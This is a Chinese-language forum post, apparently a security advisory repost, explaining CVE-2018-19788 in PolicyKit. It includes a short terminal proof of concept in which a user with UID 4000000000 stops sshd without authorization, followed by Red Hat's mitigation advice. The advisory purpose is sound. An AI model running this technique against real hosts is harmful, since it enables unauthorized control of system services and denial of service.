資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網絡安全教程|www.rigasin.com|我的開發(fā)技術隨記

標題: UID大于INT_MAX的Linux用戶任意代碼執(zhí)行漏洞(CVE-2018-19788) [打印本頁]

作者: 1366875557    時間: 2019-5-20 15:44
標題: UID大于INT_MAX的Linux用戶任意代碼執(zhí)行漏洞(CVE-2018-19788)
UID大于INT_MAX的Linux用戶任意代碼執(zhí)行漏洞(CVE-2018-19788)
Linux操作系統(tǒng)中UID值大于2147483647的低權限賬戶可以未授權執(zhí)行任意systemctl命令。該漏洞存在于PolicyKit(polkit)中,PolicyKit是類Unix操作系統(tǒng)中定義策略、處理系統(tǒng)范圍內權限和提供給非特權進程與特權進程通信方式的應用級工具集,比如sudo。

該漏洞CVE編號為CVE-2018-19788,影響PolicyKit v0.115版本,這是大多數主流Linux發(fā)行版中預裝的版本,其中包括Red Hat, Debian, Ubuntu和CentOS。
漏洞是因為PolicyKit沒有UID大于INT_MAX的低權限用戶的權限請求進行適當的驗證。INT_MAX是計算機程序中用于定義整數變量可以保存的最大值的常量,等于2147483647,十六進制表示為0x7FFFFFFF。

也就是說,如果用戶在受影響的Linux操作系統(tǒng)中創(chuàng)建了UID大于INT_MAX值的用戶賬戶,攻擊者就可以利用PolicyKit組件來執(zhí)行任意的systemctl命令。

$ systemctl --version
systemd 239
+PAM +AUDIT -SELINUX +IMA +APPARMOR +SMACK -SYSVINIT +UTMP -LIBCRYPTSETUP +GCRYPT -GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID -ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid
$ id
uid=4000000000(someuser) gid=100(users) groups=100(users)
$ systemctl stop sshd.service
(pkttyagent:3342): GLib-GObject-WARNING **: 13:28:53.802: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
$ systemctl is-active sshd.service
inactive
安全研究人員Rich Mirch(Twitter @0xm1rch)發(fā)布了該漏洞的PoC,用UID 4000000000證明了該漏洞。





(, 下載次數: 79)




在補丁發(fā)布之前,Red Hat建議系統(tǒng)管理員不要設置負值UID或大于2147483646的UID,以緩解該漏洞可能帶來的威脅。












歡迎光臨 資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網絡安全教程|www.rigasin.com|我的開發(fā)技術隨記 (http://www.rigasin.com/) Powered by Discuz! X3.4